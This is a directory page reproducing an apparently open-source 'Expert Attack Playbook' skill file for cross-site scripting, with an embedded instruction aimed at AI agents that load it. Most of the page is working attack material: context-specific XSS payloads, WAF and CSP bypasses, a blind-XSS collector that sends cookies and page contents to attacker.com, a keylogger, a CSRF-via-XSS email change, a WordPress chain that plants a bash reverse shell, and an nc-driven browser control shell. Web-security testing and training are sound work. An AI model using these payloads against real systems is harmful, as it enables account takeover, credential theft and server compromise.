Agent Skills by ALSEL
Anthropic Claudeソフトウェア開発⭐ リポ 0品質スコア 50/100

xss-cross-site-scripting

XSS対策プレイブック。ユーザー入力がHTML、属性値、JavaScript、DOMシンク、ファイルアップロード、または複数コンテキストのレンダリング経路に到達する場合に使用します。

description の原文を見る

>- XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.

SKILL.md 本文

SKILL: Cross-Site Scripting (XSS) — Expert Attack Playbook

AI LOAD INSTRUCTION: このスキルは非自明なXSS技術、コンテキスト固有のペイロード選択、WAFバイパス、CSPバイパス、およびエクスプロイト後の操作をカバーしています。読み手は既に <script>alert(1)</script> を知っていると想定しています — このファイルは基本モデルが通常見落とすことのみをカバーしています。実際のCVEケース、HttpBypassブラウザ戦略、XS-Leaksサイドチャネル、セッション固定攻撃については、関連ドキュメント SCENARIOS.md を参照してください。

0. RELATED ROUTING

Extended Scenarios

以下が必要な場合は SCENARIOS.md も参照してください:

  • Django debug ページ XSS (CVE-2017-12794) — 重複キーエラー → エスケープされていない例外 → XSS
  • レガシー IE 環境向け UTF-7 XSS (+ADw-script+AD4-)
  • HttpOnly バイパス方法論 — ブラウザプロキシ、セッション乗っ取り、CSRF-via-XSS
  • XS-Leaks サイドチャネル攻撃 — タイミングオラクル、キャッシュプローブ、performance.now() 計測
  • XSS経由のセッション固定 — 被害者ログイン前にセッション ID を事前設定
  • DOM Clobbering 技術 (CSP制限環境用)

Advanced Tricks

以下が必要な場合は ADVANCED_XSS_TRICKS.md も参照してください:

  • mXSS / DOMPurify バイパス — namespace 混同、<noscript> 解析の差分、form/table 再構成
  • DOM Clobbering — id/name 経由のプロパティ上書き、HTMLCollection、深いプロパティチェーン
  • モダンフレームワーク XSS — React dangerouslySetInnerHTML、Vue v-html、Angular bypassSecurityTrust*、Next.js SSR
  • Trusted Types バイパス — デフォルトポリシー悪用、非 TT シンク、ポリシーパススルー
  • Service Worker XSS 永続化 — 悪意のある SW 登録、fetch インターセプト、パッチ後の生き残り
  • PDF/SVG/MathML XSS ベクトル、ポリグロットペイロード、ブラウザ固有のトリック
  • XS-Leaks & サイドチャネル — タイミングオラクル、フレームカウント、キャッシュプローブ、エラーイベントオラクル

広範なペイロード散布の前に、まず以下をロードできます:

  • upload insecure files 完全なアップロードパス: 検証、ストレージ、プレビュー、および共有動作が必要な場合

Quick context picks

コンテキスト第1候補代替案
HTML body<svg onload=alert(1)><img src=1 onerror=alert(1)>
クォートされた属性" autofocus onfocus=alert(1)//" onmouseover=alert(1)//
JavaScript文字列'-alert(1)-''</script><svg onload=alert(1)>
URL / href シンクjavascript:alert(1)data:text/html,<svg onload=alert(1)>
title など tag body</title><svg onload=alert(1)></textarea><svg onload=alert(1)>
SVG / XML シンク<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>XHTML namespace ペイロード
<svg onload=alert(1)>
<img src=1 onerror=alert(1)>
" autofocus onfocus=alert(1)//
'</script><svg onload=alert(1)>
javascript:alert(1)
data:text/html,<svg onload=alert(1)>

1. INJECTION CONTEXT MATRIX

ペイロードを選択する前にコンテキストを特定します。間違ったコンテキスト = 無駄な試行。

コンテキストインジケータオープナーペイロード
タグ外のHTML<b>INPUT</b><svg onload=<svg onload=alert(1)>
HTML属性値value="INPUT"" 属性終了"onmouseover=alert(1)//
インライン属性、タグクローズなしクォート、> ストリップイベント注入"autofocus onfocus=alert(1)//
ブロックタグ (title/script/textarea)<title>INPUT</title>終了タグ優先</title><svg onload=alert(1)>
href / src / data / actionリンク or フォームプロトコルjavascript:alert(1)
JS文字列 (単一引用符)var x='INPUT'文字列破壊'-alert(1)-' or '-alert(1)//
JS文字列 (エスケープあり)バックスラッシュエスケープダブルエスケープ\'-alert(1)//
JS論理ブロックif/関数内部クローズ + 注入'}alert(1);{'
ページ上のJS何処<script>...INPUTスクリプト破壊</script><svg onload=alert(1)>
XMLページ (text/xml)XML content-typeXML namespace<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>

2. MULTI-REFLECTION ATTACKS

入力が同じページの複数の場所に反映される場合 — 単一ペイロードですべてのポイントからトリガーされます:

<!-- ダブルリフレクション -->
'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*

<!-- トリプルリフレクション -->
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='

<!-- 2つの異なる入力 (p= と q=) -->
p=<svg/1='&q='onload=alert(1)>

3. ADVANCED INJECTION VECTORS

DOM Insert Injection (リフレクションはソースではなく DOM 内)

入力が .innerHTMLdocument.write、jQuery .html() 経由で挿入される場合:

<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>

URL制御リソース挿入の場合:

data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>

PHP_SELF Path Injection

URL自体がフォーム action に反映される場合:

https://target.com/page.php/"><svg onload=alert(1)>?param=val

.php? の間に注入し、先頭の / を使用します。

File Upload XSS

ファイル名注入 (ファイル名が反映される場合):

"><svg onload=alert(1)>.gif

SVG アップロード (SVG を受け入れるイメージアップロード経由の保存型 XSS):

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>

メタデータ注入 (EXIF が反映される場合):

exiftool -Artist='"><svg onload=alert(1)>' photo.jpeg

postMessage XSS (origin チェックなし)

ページが origin 検証なしで window.addEventListener('message', ...) を持つ場合:

<iframe src="TARGET_URL" onload="frames[0].postMessage('INJECTION','*')">

postMessage Origin バイパス

Origin がチェックされているが .includes() またはプレフィックスマッチを使用する場合:

http://facebook.com.ATTACKER.com/crosspwn.php?target=//victim.com/page&msg=<script>alert(1)</script>

攻撃者が facebook.com.ATTACKER.com サブドメインを制御します。

XML-Based XSS

レスポンスが text/xml または application/xml:

<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//attacker.com/1.js"/>

クローズタグなしのスクリプト注入

ページの後方に </script> タグがある場合:

<script src=data:,alert(1)>
<script src=//attacker.com/1.js>

4. CSP BYPASS TECHNIQUES

JSONP エンドポイント バイパス (ホワイトリスト域に JSONP あり)

<script src="https://www.google.com/complete/search?client=chrome&jsonp=alert(1);">
</script>

AngularJS CDN バイパス (ホワイトリスト ajax.googleapis.com)

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js"></script>
<x ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</x>

Angular Expressions (サーバーが HTML をエンコードするが AngularJS が評価)

ページで {{1+1}}2 に評価される場合 — 典型的な CSTI インジケータ:

// Angular 1.x サンドボックス脱出:
{{constructor.constructor('alert(1)')()}}

// Angular 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

base-uri Injection (CSP に base-uri 制限がない)

<base href="https://attacker.com/">

相対 <script src=...> は攻撃者のサーバーからロードされます。

DOM-based via Dangling Markup

CSP がスクリプトをブロックするが img を許可する場合:

<img src='https://attacker.com/log?

後続のページコンテンツを攻撃者のサーバーにリークします。


5. FILTER AND WAF BYPASS

Parameter Name Attack (WAF が値ではなく名前をチェック)

パラメータ名が反映される場合 (例: JSON出力):

?"></script><base%20c%3D=href%3Dhttps:\mysite>

ペイロードはパラメータ名であり、値ではありません。

Encoding Chains

%253C  → ダブルエンコード <
%26lt; → HTML エンティティ ダブルエンコード
<%00h2 → null バイト注入
%0d%0a → タグ内の CRLF

テストシーケンス: リフレクション → エンコード動作 → フィルタロジック特定 → 変異。

Tag Mutation (ブラックリスト バイパス)

<ScRipt>  ← 大文字小文字の変動
</script/x>  ← 末尾のガベージ
<script不完全 (後の > に依存)
<%00iframe  ← null バイト
<svg/onload=  ← スペースの代わりにスラッシュ

Fragmented Injection (strip-tags バイパス)

フィルタが <x>...</x> をストリップします:

"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//

イベントハンドラなしのベクトル

<form action=javascript:alert(1)><input type=submit>
<form><button formaction=javascript:alert(1)>click
<isindex action=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>
<math><brute href=javascript:alert(1)>click

6. SECOND-ORDER XSS

定義: 入力が保存され (多くの場合、正規化/HTMLエンコード)、その後取得され、再エンコードなしで DOM に挿入されます。

クラシックトリガーペイロード (即座の HTML エンコーディングをバイパス):

&lt;svg/onload&equals;alert(1)&gt;

チェック: プロフィールフィールド、表示名、フォーラム投稿 — データが保存され、異なるコンテキスト (例: 管理者パネル vs ユーザー向け) で再レンダリングされる場所。

保存 → 管理者コンテキスト XSS: 最も影響大 — 細工されたユーザー名で登録、管理者がユーザーリストを表示するのを待つ。


7. BLIND XSS METHODOLOGY

即座にリフレクトされないすべてのパラメータは、Blind XSS についてテストする必要があります:

  • コンタクトフォーム、フィードバックフィールド
  • User-Agent / referer
  • 登録フィールド
  • エラーログ注入

Blind XSS コールバックペイロード (リモート JS ファイルアプローチ):

"><script src=//attacker.com/bxss.js></script>

最小限のコレクタ (bxss.js でホスト):

var d = document;
var msg = 'URL: '+d.URL+'\nCOOKIE: '+d.cookie+'\nDOM:\n'+d.documentElement.innerHTML;
fetch('https://attacker.com/collect?'+encodeURIComponent(msg));

自動化された収集には XSS Hunter または同様の Blind XSS プラットフォームを使用してください。


8. XSS EXPLOITATION CHAIN

Cookie 盗み

fetch('//attacker.com/?c='+document.cookie)
// HttpOnly で保護されたクッキー → JS経由でのスティール不可、代わりに CSRF またはセッション固定が必要

キーロガー

document.onkeypress = function(e) {
    fetch('//attacker.com/k?k='+encodeURIComponent(e.key));
}

CSRF via XSS (CSRF 保護をバイパス、DOM から CSRF トークンを読み取り)

var r = new XMLHttpRequest();
r.open('GET', '/account/settings', false);
r.send();
var token = /csrf_token['":\s]+([^'"<\s]+)/.exec(r.responseText)[1];
var f = new XMLHttpRequest();
f.open('POST', '/account/email/change', true);
f.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
f.send('email=attacker@evil.com&csrf='+token);

WordPress XSS → RCE (管理者セッション + Hello Dolly プラグイン):

p = '/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`bash -i >& /dev/tcp/ATTACKER/4444 0>&1`;?>';
a = new XMLHttpRequest();
a.open('GET', p+q, 0); a.send();
$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
    '&newcontent=' + encodeURIComponent(s) + '&action=update&' + q;
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){ if(this.readyState==4) fetch('/wp-content/plugins/hello.php'); }

ブラウザリモートコントロール (JS コマンドシェル)

// 被害者に注入:
setInterval(function(){
    with(document)body.appendChild(createElement('script')).src='//ATTACKER:5855'
},100)
# 攻撃者リスナー:
while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done

9. DECISION TREE

XSS エントリポイントをテスト
├── 入力がレスポンスに反映されている?
│   ├── YES → コンテキストを特定 (HTML / JS / attr / URL)
│   │         → コンテキスト適切なペイロードを選択
│   │         → ブロックされた場合 → フィルタ動作をチェック
│   │         │   → エンコード、大文字小文字の変動、断片化を試す
│   │         │   → パラメータ NAME がリフレクトされているかチェック (WAF ギャップ)
│   │         └── 成功 → エスカレート (cookie盗み / CSRF / RCE)
│   └── NO  → 保存されている? → Blind XSS ペイロードを注入
│             DOM内にある? → 非安全なシンクについて JS ソースをチェック
│                             (innerHTML, eval, document.write, location.href)
└── CSP が存在?
    ├── ホワイトリスト域上の JSONP エンドポイントをチェック
    ├── CDN ホワイトリスト上の AngularJS をチェック
    ├── base-uri 欠落をチェック → <base> 注入
    └── unsafe-eval または unsafe-inline 例外をチェック

10. XSS TESTING PROCESS (ZSEANO METHOD)

  1. Step 1 — 非悪意的なタグをテスト: <h2><img><table> — そのまま反映されている?
  2. Step 2 — 不完全なタグをテスト: <iframe src=//attacker.com/c= (クローズ > なし)
  3. Step 3 — エンコーディングプローブ: <%00h2%0d%0a%09%253C
  4. Step 4<script>onerror をフィルタリングしているが <script (クローズなし) ではない場合: <script src=//attacker.com?c=
  5. Step 5 — ブラックリストチェック: <svg> は動作? <ScRiPt> は動作?
  6. 注意: 同じフィルタはおそらく他の場所にも存在 — 検索で <script> をフィルタリングしている場合、ファイルアップロードファイル名でもフィルタリングしている? プロフィール説明文でも?

重要なインサイト: フィルタ存在 = 脆弱性が存在、開発者がパッチを試した。そのスレッドをアプリケーション全体で追跡してください。

ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ

詳細情報

作者
yaklang
リポジトリ
yaklang/hack-skills
ライセンス
MIT
最終更新
不明

Source: https://github.com/yaklang/hack-skills / ライセンス: MIT

関連スキル

汎用ソフトウェア開発⭐ リポ 39,967

doubt-driven-development

重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。

by addyosmani
汎用ソフトウェア開発⭐ リポ 1,175

apprun-skills

TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。

by yysun
OpenAIソフトウェア開発⭐ リポ 797

desloppify

コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。

by Git-on-my-level
汎用ソフトウェア開発⭐ リポ 39,967

debugging-and-error-recovery

テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。

by addyosmani
汎用ソフトウェア開発⭐ リポ 39,967

test-driven-development

テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。

by addyosmani
汎用ソフトウェア開発⭐ リポ 39,967

incremental-implementation

変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。

by addyosmani
本サイトは GitHub 上で公開されているオープンソースの SKILL.md ファイルをクロール・インデックス化したものです。 各スキルの著作権は原作者に帰属します。掲載に問題がある場合は info@alsel.co.jp または /takedown フォームよりご連絡ください。
原作者: yaklang · yaklang/hack-skills · ライセンス: MIT